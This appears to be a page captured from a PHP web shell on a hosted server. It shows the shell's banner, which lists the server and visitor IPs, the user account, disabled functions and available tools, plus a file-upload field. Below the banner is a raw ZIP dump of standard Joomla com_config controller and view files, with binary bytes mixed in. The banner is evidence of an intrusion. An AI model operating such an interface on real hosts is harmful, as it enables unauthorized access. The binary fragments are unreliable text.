Done !
| Server IP : 46.105.57.169 / Your IP : 216.73.217.35 Web Server : Apache System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : verseaumee ( 152031) PHP Version : 8.5.7 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/verseaumee/123click/assets/ |
Upload File : |
PK ! ��z��
�
controller/display.phpnu �[��� <?php
/**
* @package Joomla.Site
* @subpackage com_config
*
* @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Base Display Controller
*
* @since 3.2
*/
class ConfigControllerDisplay extends JControllerBase
{
/**
* Application object - Redeclared for proper typehinting
*
* @var JApplicationCms
* @since 3.2
*/
protected $app;
/**
* Prefix for the view and model classes
*
* @var string
* @since 3.2
*/
public $prefix = 'Config';
/**
* Execute the controller.
*
* @return mixed A rendered view or true
*
* @since 3.2
*/
public function execute()
{
// Get the document object.
$document = JFactory::getDocument();
$componentFolder = $this->input->getWord('option', 'com_config');
if ($this->app->isClient('administrator'))
{
$viewName = $this->input->getWord('view', 'application');
}
else
{
$viewName = $this->input->getWord('view', 'config');
}
$viewFormat = $document->getType();
$layoutName = $this->input->getWord('layout', 'default');
// Register the layout paths for the view
$paths = new SplPriorityQueue;
if ($this->app->isClient('administrator'))
{
$paths->insert(JPATH_ADMINISTRATOR . '/components/' . $componentFolder . '/view/' . $viewName . '/tmpl', 1);
}
else
{
$paths->insert(JPATH_BASE . '/components/' . $componentFolder . '/view/' . $viewName . '/tmpl', 1);
}
$viewClass = $this->prefix . 'View' . ucfirst($viewName) . ucfirst($viewFormat);
$modelClass = $this->prefix . 'Model' . ucfirst($viewName);
if (class_exists($viewClass))
{
$model = new $modelClass;
$component = $model->getState()->get('component.option');
// Make sure com_joomlaupdate and com_privacy can only be accessed by SuperUser
if (in_array(strtolower($component), array('com_joomlaupdate', 'com_privacy'))
&& !JFactory::getUser()->authorise('core.admin'))
{
$this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');
return;
}
// Access check.
if (!JFactory::getUser()->authorise('core.admin', $component)
&& !JFactory::getUser()->authorise('core.options', $component))
{
$this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');
return;
}
$view = new $viewClass($model, $paths);
$view->setLayout($layoutName);
// Push document object into the view.
$view->document = $document;
// Reply for service requests
if ($viewFormat === 'json')
{
$this->app->allowCache(false);
return $view->render();
}
// Render view.
echo $view->render();
}
return true;
}
}
PK ! l.��9
9
controller/helper.phpnu �[��� <?php
/**
* @package Joomla.Site
* @subpackage com_config
*
* @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Helper class for controllers
*
* @since 3.2
*/
class ConfigControllerHelper
{
/**
* Method to parse a controller from a url
* Defaults to the base controllers and passes an array of options.
* $options[0] is the location of the controller which defaults to the core libraries (referenced as 'j'
* and then the named folder within the component entry point file.
* $options[1] is the name of the controller file,
* $options[2] is the name of the folder found in the component controller folder for controllers
* not prefixed with Config.
* Additional options maybe added to parameterize the controller.
*
* @param JApplicationBase $app An application object
*
* @return JController A JController object
*
* @since 3.2
*/
public function parseController($app)
{
$tasks = array();
if ($task = $app->input->get('task'))
{
// Toolbar expects old style but we are using new style
// Remove when toolbar can handle either directly
if (strpos($task, '/') !== false)
{
$tasks = explode('/', $task);
}
else
{
$tasks = explode('.', $task);
}
}
elseif ($controllerTask = $app->input->get('controller'))
{
// Temporary solution
if (strpos($controllerTask, '/') !== false)
{
$tasks = explode('/', $controllerTask);
}
else
{
$tasks = explode('.', $controllerTask);
}
}
if (empty($tasks[0]) || $tasks[0] === 'Config')
{
$location = 'Config';
}
else
{
$location = ucfirst(strtolower($tasks[0]));
}
if (empty($tasks[1]))
{
$activity = 'Display';
}
else
{
$activity = ucfirst(strtolower($tasks[1]));
}
$view = '';
if (!empty($tasks[2]))
{
$view = ucfirst(strtolower($tasks[2]));
}
// Some special handling for com_config administrator
$option = $app->input->get('option');
if ($option === 'com_config' && $app->isClient('administrator'))
{
$component = $app->input->get('component');
if (!empty($component))
{
$view = 'Component';
}
elseif ($option === 'com_config')
{
$view = 'Application';
}
}
$controllerName = $location . 'Controller' . $view . $activity;
if (!class_exists($controllerName))
{
return false;
}
$controller = new $controllerName;
$controller->options = array();
$controller->options = $tasks;
return $controller;
}
}
PK ! B� controller/config/display.phpnu �[��� <?php
/**
* @package Joomla.Site
* @subpackage com_config
*
* @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Display Controller for global configuration
*
* @since 3.2
*/
class ConfigControllerConfigDisplay extends ConfigControllerDisplay
{
/**
* Method to display global configuration.
*
* @return boolean True on success, false on failure.
*
* @since 3.2
*/
public function execute()
{
// Get the application
$app = $this->getApplication();
// Get the document object.
$document = JFactory::getDocument();
$viewName = $this->input->getWord('view', 'config');
$viewFormat = $document->getType();
$layoutName = $this->input->getWord('layout', 'default');
// Access backend com_config
JLoader::registerPrefix(ucfirst($viewName), JPATH_ADMINISTRATOR . '/components/com_config');
$displayClass = new ConfigControllerApplicationDisplay;
// Set backend required params
$document->setType('json');
$app->input->set('view', 'application');
// Execute backend controller
$serviceData = json_decode($displayClass->execute(), true);
// Reset params back after requesting from service
$document->setType('html');
$app->input->set('view', $viewName);
// Register the layout paths for the view
$paths = new SplPriorityQueue;
$paths->insert(JPATH_COMPONENT . '/view/' . $viewName . '/tmpl', 'normal');
$viewClass = 'ConfigView' . ucfirst($viewName) . ucfirst($viewFormat);
$modelClass = 'ConfigModel' . ucfirst($viewName);
if (class_exists($viewClass))
{
if ($viewName !== 'close')
{
$model = new $modelClass;
// Access check.
if (!JFactory::getUser()->authorise('core.admin', $model->getState('component.option')))
{
return;
}
}
$view = new $viewClass($model, $paths);
$view->setLayout($layoutName);
// Push document object into the view.
$view->document = $document;
// Load form and bind data
$form = $model->getForm();
if ($form)
{
$form->bind($serviceData);
}
// Set form and data to the view
$view->form = &$form;
$view->data = &$serviceData;
// Render view.
echo $view->render();
}
return true;
}
}
PK ! ��� � controller/config/save.phpnu �[��� <?php
/**
* @package Joomla.Site
* @subpackage com_config
*
* @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Save Controller for global configuration
*
* @since 3.2
*/
class ConfigControllerConfigSave extends JControllerBase
{
/**
* Application object - Redeclared for proper typehinting
*
* @var JApplicationCms
* @since 3.2
*/
protected $app;
/**
* Method to save global configuration.
*
* @return boolean True on success.
*
* @since 3.2
*/
public function execute()
{
// Check for request forgeries.
if (!JSession::checkToken())
{
$this->app->enqueueMessage(JText::_('JINVALID_TOKEN_NOTICE'));
$this->app->redirect('index.php');
}
// Check if the user is authorized to do this.
if (!JFactory::getUser()->authorise('core.admin'))
{
$this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'));
$this->app->redirect('index.php');
}
// Set FTP credentials, if given.
JClientHelper::setCredentialsFromRequest('ftp');
$model = new ConfigModelConfig;
$form = $model->getForm();
$data = $this->input->post->get('jform', array(), 'array');
// Validate the posted data.
$return = $model->validate($form, $data);
// Check for validation errors.
if ($return === false)
{
/*
* The validate method enqueued all messages for us, so we just need to redirect back.
*/
// Save the data in the session.
$this->app->setUserState('com_config.config.global.data', $data);
// Redirect back to the edit screen.
$this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.config', false));
}
// Attempt to save the configuration.
$data = $return;
// Access backend com_config
JLoader::registerPrefix('Config', JPATH_ADMINISTRATOR . '/components/com_config');
$saveClass = new ConfigControllerApplicationSave;
// Get a document object
$document = JFactory::getDocument();
// Set backend required params
$document->setType('json');
// Execute backend controller
$return = $saveClass->execute();
// Reset params back after requesting from service
$document->setType('html');
// Check the return value.
if ($return === false)
{
/*
* The save method enqueued all messages for us, so we just need to redirect back.
*/
// Save the data in the session.
$this->app->setUserState('com_config.config.global.data', $data);
// Save failed, go back to the screen and display a notice.
$this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.config', false));
}
// Redirect back to com_config display
$this->app->enqueueMessage(JText::_('COM_CONFIG_SAVE_SUCCESS'));
$this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.config', false));
return true;
}
}
PK ! W� � controller/modules/cancel.phpnu �[��� <?php
/**
* @package Joomla.Site
* @subpackage com_config
*
* @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Cancel Controller for module editing
*
* @package Joomla.Site
* @subpackage com_config
* @since 3.2
*/
class ConfigControllerModulesCancel extends ConfigControllerCanceladmin
{
/**
* Method to cancel module editing.
*
* @return boolean True on success.
*
* @since 3.2
*/
public function execute()
{
// Check if the user is authorized to do this.
$user = JFactory::getUser();
if (!$user->authorise('module.edit.frontend', 'com_modules.module.' . $this->input->get('id')))
{
$this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'));
$this->app->redirect('index.php');
}
$this->context = 'com_config.config.global';
// Get returnUri
$returnUri = $this->input->post->get('return', null, 'base64');
if (!empty($returnUri))
{
$this->redirect = base64_decode(urldecode($returnUri));
}
else
{
$this->redirect = JUri::base();
}
$id = $this->input->getInt('id');
// Access backend com_module
JLoader::register('ModulesControllerModule', JPATH_ADMINISTRATOR . '/components/com_modules/controllers/module.php');
JLoader::register('ModulesViewModule', JPATH_ADMINISTRATOR . '/components/com_modules/views/module/view.json.php');
JLoader::register('ModulesModelModule', JPATH_ADMINISTRATOR . '/components/com_modules/models/module.php');
$cancelClass = new ModulesControllerModule;
$cancelClass->cancel($id);
parent::execute();
}
}
PK ! j��_ _ controller/modules/display.phpnu �[��� <?php
/**
* @package Joomla.Site
* @subpackage com_config
*
* @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Display Controller for module editing
*
* @package Joomla.Site
* @subpackage com_config
* @since 3.2
*/
class ConfigControllerModulesDisplay extends ConfigControllerDisplay
{
/**
* Method to display module editing.
*
* @return boolean True on success, false on failure.
*
* @since 3.2
*/
public function execute()
{
// Get the application
$app = $this->getApplication();
// Get the document object.
$document = JFactory::getDocument();
$viewName = $this->input->getWord('view', 'modules');
$viewFormat = $document->getType();
$layoutName = $this->input->getWord('layout', 'default');
$returnUri = $this->input->get->get('return', null, 'base64');
// Construct redirect URI
if (!empty($returnUri))
{
$redirect = base64_decode(urldecode($returnUri));
// Don't redirect to an external URL.
if (!JUri::isInternal($redirect))
{
$redirect = JUri::base();
}
}
else
{
$redirect = JUri::base();
}
// Access backend com_module
JLoader::register('ModulesController', JPATH_ADMINISTRATOR . '/components/com_modules/controller.php');
JLoader::register('ModulesViewModule', JPATH_ADMINISTRATOR . '/components/com_modules/views/module/view.json.php');
JLoader::register('ModulesModelModule', JPATH_ADMINISTRATOR . '/components/com_modules/models/module.php');
$displayClass = new ModulesController;
// Get the parameters of the module with Id
$document->setType('json');
// Execute backend controller
if (!($serviceData = json_decode($displayClass->display(), true)))
{
$app->redirect($redirect);
}
// Reset params back after requesting from service
$document->setType('html');
$app->input->set('view', $viewName);
// Register the layout paths for the view
$paths = new SplPriorityQueue;
$paths->insert(JPATH_COMPONENT . '/view/' . $viewName . '/tmpl', 'normal');
$viewClass = 'ConfigView' . ucfirst($viewName) . ucfirst($viewFormat);
$modelClass = 'ConfigModel' . ucfirst($viewName);
if (class_exists($viewClass))
{
$model = new $modelClass;
// Access check.
$user = JFactory::getUser();
if (!$user->authorise('module.edit.frontend', 'com_modules.module.' . $serviceData['id']))
{
$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');
$app->redirect($redirect);
}
// Need to add module name to the state of model
$model->getState()->set('module.name', $serviceData['module']);
$view = new $viewClass($model, $paths);
$view->setLayout($layoutName);
// Push document object into the view.
$view->document = $document;
// Load form and bind data
$form = $model->getForm();
if ($form)
{
$form->bind($serviceData);
}
// Set form and data to the view
$view->form = &$form;
$view->item = &$serviceData;
// Render view.
echo $view->render();
}
return true;
}
}
PK ! ��� � controller/modules/save.phpnu �[��� <?php
/**
* @package Joomla.Site
* @subpackage com_config
*
* @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Save Controller for module editing
*
* @package Joomla.Site
* @subpackage com_config
* @since 3.2
*/
class ConfigControllerModulesSave extends JControllerBase
{
/**
* Method to save module editing.
*
* @return boolean True on success.
*
* @since 3.2
*/
public function execute()
{
// Check for request forgeries.
if (!JSession::checkToken())
{
$this->app->enqueueMessage(JText::_('JINVALID_TOKEN'));
$this->app->redirect('index.php');
}
// Check if the user is authorized to do this.
$user = JFactory::getUser();
if (!$user->authorise('module.edit.frontend', 'com_modules.module.' . $this->input->get('id')))
{
$this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');
$this->app->redirect('index.php');
}
// Set FTP credentials, if given.
JClientHelper::setCredentialsFromRequest('ftp');
// Get submitted module id
$moduleId = '&id=' . $this->input->get('id');
// Get returnUri
$returnUri = $this->input->post->get('return', null, 'base64');
$redirect = '';
if (!empty($returnUri))
{
$redirect = '&return=' . $returnUri;
}
// Access backend com_modules to be done
JLoader::register('ModulesControllerModule', JPATH_ADMINISTRATOR . '/components/com_modules/controllers/module.php');
JLoader::register('ModulesModelModule', JPATH_ADMINISTRATOR . '/components/com_modules/models/module.php');
$controllerClass = new ModulesControllerModule;
// Get a document object
$document = JFactory::getDocument();
// Set backend required params
$document->setType('json');
// Execute backend controller
$return = $controllerClass->save();
// Reset params back after requesting from service
$document->setType('html');
// Check the return value.
if ($return === false)
{
// Save the data in the session.
$data = $this->input->post->get('jform', array(), 'array');
$this->app->setUserState('com_config.modules.global.data', $data);
// Save failed, go back to the screen and display a notice.
$this->app->enqueueMessage(JText::_('JERROR_SAVE_FAILED'));
$this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.modules' . $moduleId . $redirect, false));
}
// Redirect back to com_config display
$this->app->enqueueMessage(JText::_('COM_CONFIG_MODULES_SAVE_SUCCESS'));
// Set the redirect based on the task.
switch ($this->options[3])
{
case 'apply':
$this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.modules' . $moduleId . $redirect, false));
break;
case 'save':
default:
if (!empty($returnUri))
{
$redirect = base64_decode(urldecode($returnUri));
// Don't redirect to an external URL.
if (!JUri::isInternal($redirect))
{
$redirect = JUri::base();
}
}
else
{
$redirect = JUri::base();
}
$this->app->redirect($redirect);
break;
}
}
}
PK ! [���� � controller/cancel.phpnu �[��� <?php
/**
* @package Joomla.Site
* @subpackage com_config
*
* @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Cancel Controller
*
* @since 3.2
*/
class ConfigControllerCancel extends JControllerBase
{
/**
* Application object - Redeclared for proper typehinting
*
* @var JApplicationCms
* @since 3.2
*/
protected $app;
/**
* Method to handle cancel
*
* @return boolean True on success.
*
* @since 3.2
*/
public function execute()
{
// Redirect back to home(base) page
$this->app->redirect(JUri::base());
}
}
PK ! �:9�; ; controller/cmsbase.phpnu �[��� <?php
/**
* @package Joomla.Site
* @subpackage com_config
*
* @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Base Display Controller
*
* @since 3.2
*/
class ConfigControllerCmsbase extends JControllerBase
{
/**
* Prefix for the view and model classes
*
* @var string
* @since 3.2
*/
public $prefix;
/**
* Execute the controller.
*
* @return mixed A rendered view or true
*
* @since 3.2
*/
public function execute()
{
// Check for request forgeries
if (!JSession::checkToken())
{
$this->app->enqueueMessage(JText::_('JINVALID_TOKEN_NOTICE'));
$this->app->redirect('index.php');
}
// Get the application
$this->app = $this->getApplication();
$this->app->redirect('index.php?option=' . $this->input->get('option'));
$this->componentFolder = $this->input->getWord('option', 'com_content');
$this->viewName = $this->input->getWord('view');
return $this;
}
}
PK ! �yt�� � controller/canceladmin.phpnu �[��� <?php
/**
* @package Joomla.Site
* @subpackage com_config
*
* @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Cancel Controller for Admin
*
* @since 3.2
*/
class ConfigControllerCanceladmin extends ConfigControllerCancel
{
/**
* The context for storing internal data, e.g. record.
*
* @var string
* @since 3.2
*/
protected $context;
/**
* The URL option for the component.
*
* @var string
* @since 3.2
*/
protected $option;
/**
* URL for redirection.
*
* @var string
* @since 3.2
* @note Replaces _redirect.
*/
protected $redirect;
/**
* Method to handle admin cancel
*
* @return boolean True on success.
*
* @since 3.2
*/
public function execute()
{
// Check for request forgeries.
if (!JSession::checkToken())
{
$this->app->enqueueMessage(JText::_('JINVALID_TOKEN_NOTICE'));
$this->app->redirect('index.php');
}
if (empty($this->context))
{
$this->context = $this->option . '.edit' . $this->context;
}
// Redirect.
$this->app->setUserState($this->context . '.data', null);
if (!empty($this->redirect))
{
// Don't redirect to an external URL.
if (!JUri::isInternal($this->redirect))
{
$this->redirect = JUri::base();
}
$this->app->redirect($this->redirect);
}
else
{
parent::execute();
}
}
}
PK ! �'��B
B
controller/templates/display.phpnu �[��� <?php
/**
* @package Joomla.Site
* @subpackage com_config
*
* @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Display Controller for global configuration
*
* @since 3.2
*/
class ConfigControllerTemplatesDisplay extends ConfigControllerDisplay
{
/**
* Method to display global configuration.
*
* @return boolean True on success, false on failure.
*
* @since 3.2
*/
public function execute()
{
// Get the application
$app = $this->getApplication();
// Get the document object.
$document = JFactory::getDocument();
$viewName = $this->input->getWord('view', 'templates');
$viewFormat = $document->getType();
$layoutName = $this->input->getWord('layout', 'default');
// Access backend com_config
JLoader::register('TemplatesController', JPATH_ADMINISTRATOR . '/components/com_templates/controller.php');
JLoader::register('TemplatesViewStyle', JPATH_ADMINISTRATOR . '/components/com_templates/views/style/view.json.php');
JLoader::register('TemplatesModelStyle', JPATH_ADMINISTRATOR . '/components/com_templates/models/style.php');
$displayClass = new TemplatesController;
// Set backend required params
$document->setType('json');
$this->input->set('id', $app->getTemplate(true)->id);
// Execute backend controller
$serviceData = json_decode($displayClass->display(), true);
// Reset params back after requesting from service
$document->setType('html');
$this->input->set('view', $viewName);
// Register the layout paths for the view
$paths = new SplPriorityQueue;
$paths->insert(JPATH_COMPONENT . '/view/' . $viewName . '/tmpl', 'normal');
$viewClass = 'ConfigView' . ucfirst($viewName) . ucfirst($viewFormat);
$modelClass = 'ConfigModel' . ucfirst($viewName);
if (class_exists($viewClass))
{
if ($viewName !== 'close')
{
$model = new $modelClass;
// Access check.
if (!JFactory::getUser()->authorise('core.admin', $model->getState('component.option')))
{
$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');
return;
}
}
$view = new $viewClass($model, $paths);
$view->setLayout($layoutName);
// Push document object into the view.
$view->document = $document;
// Load form and bind data
$form = $model->getForm();
if ($form)
{
$form->bind($serviceData);
}
// Set form and data to the view
$view->form = &$form;
// Render view.
echo $view->render();
}
return true;
}
}
PK ! �<��� � controller/templates/save.phpnu �[��� <?php
/**
* @package Joomla.Site
* @subpackage com_config
*
* @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Save Controller for global configuration
*
* @since 3.2
*/
class ConfigControllerTemplatesSave extends JControllerBase
{
/**
* Method to save global configuration.
*
* @return boolean True on success.
*
* @since 3.2
*/
public function execute()
{
// Check for request forgeries.
if (!JSession::checkToken())
{
JFactory::getApplication()->redirect('index.php', JText::_('JINVALID_TOKEN'));
}
// Check if the user is authorized to do this.
if (!JFactory::getUser()->authorise('core.admin'))
{
JFactory::getApplication()->redirect('index.php', JText::_('JERROR_ALERTNOAUTHOR'));
return;
}
// Set FTP credentials, if given.
JClientHelper::setCredentialsFromRequest('ftp');
$app = JFactory::getApplication();
// Access backend com_templates
JLoader::register('TemplatesControllerStyle', JPATH_ADMINISTRATOR . '/components/com_templates/controllers/style.php');
JLoader::register('TemplatesModelStyle', JPATH_ADMINISTRATOR . '/components/com_templates/models/style.php');
JLoader::register('TemplatesTableStyle', JPATH_ADMINISTRATOR . '/components/com_templates/tables/style.php');
$controllerClass = new TemplatesControllerStyle;
// Get a document object
$document = JFactory::getDocument();
// Set backend required params
$document->setType('json');
$this->input->set('id', $app->getTemplate(true)->id);
// Execute backend controller
$return = $controllerClass->save();
// Reset params back after requesting from service
$document->setType('html');
// Check the return value.
if ($return === false)
{
// Save the data in the session.
$app->setUserState('com_config.config.global.data', $data);
// Save failed, go back to the screen and display a notice.
$message = JText::sprintf('JERROR_SAVE_FAILED');
$app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.templates', false), $message, 'error');
return false;
}
// Set the success message.
$message = JText::_('COM_CONFIG_SAVE_SUCCESS');
// Redirect back to com_config display
$app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.templates', false), $message);
return true;
}
}
PK ! ��2 view/cms/html.phpnu �[��� <?php
/**
* @package Joomla.Site
* @subpackage com_config
*
* @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Prototype admin view.
*
* @since 3.2
*/
abstract class ConfigViewCmsHtml extends JViewHtml
{
/**
* The output of the template script.
*
* @var string
* @since 3.2
*/
protected $_output = null;
/**
* The name of the default template source file.
*
* @var string
* @since 3.2
*/
protected $_template = null;
/**
* The set of search directories for resources (templates)
*
* @var array
* @since 3.2
*/
protected $_path = array('template' => array(), 'helper' => array());
/**
* Layout extension
*
* @var string
* @since 3.2
*/
protected $_layoutExt = 'php';
/**
* Method to instantiate the view.
*
* @param JModel $model The model object.
* @param SplPriorityQueue $paths The paths queue.
*
* @since 3.2
*/
public function __construct(JModel $model, SplPriorityQueue $paths = null)
{
$app = JFactory::getApplication();
$component = JApplicationHelper::getComponentName();
$component = preg_replace('/[^A-Z0-9_\.-]/i', '', $component);
if (isset($paths))
{
$paths->insert(JPATH_THEMES . '/' . $app->getTemplate() . '/html/' . $component . '/' . $this->getName(), 2);
}
parent::__construct($model, $paths);
}
/**
* Load a template file -- first look in the templates folder for an override
*
* @param string $tpl The name of the template source file; automatically searches the template paths and compiles as needed.
*
* @return string The output of the the template script.
*
* @since 3.2
* @throws Exception
*/
public function loadTemplate($tpl = null)
{
// Clear prior output
$this->_output = null;
$template = JFactory::getApplication()->getTemplate();
$layout = $this->getLayout();
// Create the template file name based on the layout
$file = isset($tpl) ? $layout . '_' . $tpl : $layout;
// Clean the file name
$file = preg_replace('/[^A-Z0-9_\.-]/i', '', $file);
$tpl = isset($tpl) ? preg_replace('/[^A-Z0-9_\.-]/i', '', $tpl) : $tpl;
// Load the language file for the template
$lang = JFactory::getLanguage();
$lang->load('tpl_' . $template, JPATH_BASE, null, false, true)
|| $lang->load('tpl_' . $template, JPATH_THEMES . "/$template", null, false, true);
// Prevents adding path twise
if (empty($this->_path['template']))
{
// Adding template paths
$this->paths->top();
$defaultPath = $this->paths->current();
$this->paths->next();
$templatePath = $this->paths->current();
$this->_path['template'] = array($defaultPath, $templatePath);
}
// Load the template script
jimport('joomla.filesystem.path');
$filetofind = $this->_createFileName('template', array('name' => $file));
$this->_template = JPath::find($this->_path['template'], $filetofind);
// If alternate layout can't be found, fall back to default layout
if ($this->_template == false)
{
$filetofind = $this->_createFileName('', array('name' => 'default' . (isset($tpl) ? '_' . $tpl : $tpl)));
$this->_template = JPath::find($this->_path['template'], $filetofind);
}
if ($this->_template != false)
{
// Unset so as not to introduce into template scope
unset($tpl, $file);
// Never allow a 'this' property
if (isset($this->this))
{
unset($this->this);
}
// Start capturing output into a buffer
ob_start();
// Include the requested template filename in the local scope
// (this will execute the view logic).
include $this->_template;
// Done with the requested template; get the buffer and
// clear it.
$this->_output = ob_get_contents();
ob_end_clean();
return $this->_output;
}
else
{
throw new Exception(JText::sprintf('JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND', $file), 500);
}
}
/**
* Create the filename for a resource
*
* @param string $type The resource type to create the filename for
* @param array $parts An associative array of filename information
*
* @return string The filename
*
* @since 3.2
*/
protected function _createFileName($type, $parts = array())
{
switch ($type)
{
case 'template':
$filename = strtolower($parts['name']) . '.' . $this->_layoutExt;
break;
default:
$filename = strtolower($parts['name']) . '.php';
break;
}
return $filename;
}
/**
* Method to get the view name
*
* The model name by default parsed using the classname, or it can be set
* by passing a $config['name'] in the class constructor
*
* @return string The name of the model
*
* @since 3.2
* @throws Exception
*/
public function getName()
{
if (empty($this->_name))
{
$classname = get_class($this);
$viewpos = strpos($classname, 'View');
if ($viewpos === false)
{
throw new Exception(JText::_('JLIB_APPLICATION_ERROR_VIEW_GET_NAME'), 500);
}
$lastPart = substr($classname, $viewpos + 4);
$pathParts = explode(' ', JStringNormalise::fromCamelCase($lastPart));
if (!empty($pathParts[1]))
{
$this->_name = strtolower($pathParts[0]);
}
else
{
$this->_name = strtolower($lastPart);
}
}
return $this->_name;
}
}
PK ! �946i i view/cms/json.phpnu �[��� <?php
/**
* @package Joomla.Site
* @subpackage com_config
*
* @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Prototype admin view.
*
* @since 3.2
*/
abstract class ConfigViewCmsJson extends ConfigViewCmsHtml
{
public $state;
public $data;
/**
* Method to render the view.
*
* @return string The rendered view.
*
* @since 3.2
*/
public function render()
{
$this->data = $this->model->getData();
return json_encode($this->data);
}
}
PK ! +V'Ƙ � view/templates/html.phpnu �[��� <?php
/**
* @package Joomla.Site
* @subpackage com_config
*
* @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* View to edit a template style.
*
* @since 3.2
*/
class ConfigViewTemplatesHtml extends ConfigViewCmsHtml
{
public $item;
public $form;
/**
* Method to render the view.
*
* @return string The rendered view.
*
* @since 3.2
*/
public function render()
{
$user = JFactory::getUser();
$this->userIsSuperAdmin = $user->authorise('core.admin');
return parent::render();
}
}
PK ! C?�� � view/templates/tmpl/default.xmlnu �[��� <?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_CONFIG_TEMPLATES_VIEW_DEFAULT_TITLE" option="COM_CONFIG_TEMPLATES_VIEW_DEFAULT_OPTION">
<help
key = "JHELP_MENUS_MENU_ITEM_DISPLAY_TEMPLATE_OPTIONS"
/>
<message>
<![CDATA[COM_CONFIG_TEMPLATES_VIEW_DEFAULT_DESC]]>
</message>
</layout>
<fields name="request">
<fieldset name="request" >
<field
name="controller"
type="hidden"
default="config.display.templates"
/>
</fieldset>
</fields>
</metadata>PK ! H��F� � view/templates/tmpl/default.phpnu �[��� <?php
/**
* @package Joomla.Site
* @subpackage com_config
*
* @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
$user = JFactory::getUser();
JFactory::getDocument()->addScriptDeclaration("
Joomla.submitbutton = function(task)
{
if (task == 'config.cancel' || document.formvalidator.isValid(document.getElementById('templates-form')))
{
Joomla.submitform(task, document.getElementById('templates-form'));
}
}
");
?>
<form action="<?php echo JRoute::_('index.php?option=com_config'); ?>" method="post" name="adminForm" id="templates-form" class="form-validate">
<div class="row-fluid">
<!-- Begin Content -->
<div class="btn-toolbar" role="toolbar" aria-label="<?php echo JText::_('JTOOLBAR'); ?>">
<div class="btn-group">
<button type="button" class="btn btn-primary" onclick="Joomla.submitbutton('config.save.templates.apply')">
<span class="icon-ok"></span> <?php echo JText::_('JSAVE') ?>
</button>
</div>
<div class="btn-group">
<button type="button" class="btn" onclick="Joomla.submitbutton('config.cancel')">
<span class="icon-cancel"></span> <?php echo JText::_('JCANCEL') ?>
</button>
</div>
</div>
<hr class="hr-condensed" />
<div id="page-site" class="tab-pane active">
<div class="row-fluid">
<?php // Get the menu parameters that are automatically set but may be modified.
echo $this->loadTemplate('options'); ?>
</div>
</div>
<input type="hidden" name="task" value="" />
<?php echo JHtml::_('form.token'); ?>
<!-- End Content -->
</div>
</form>
PK ! S3Tz z '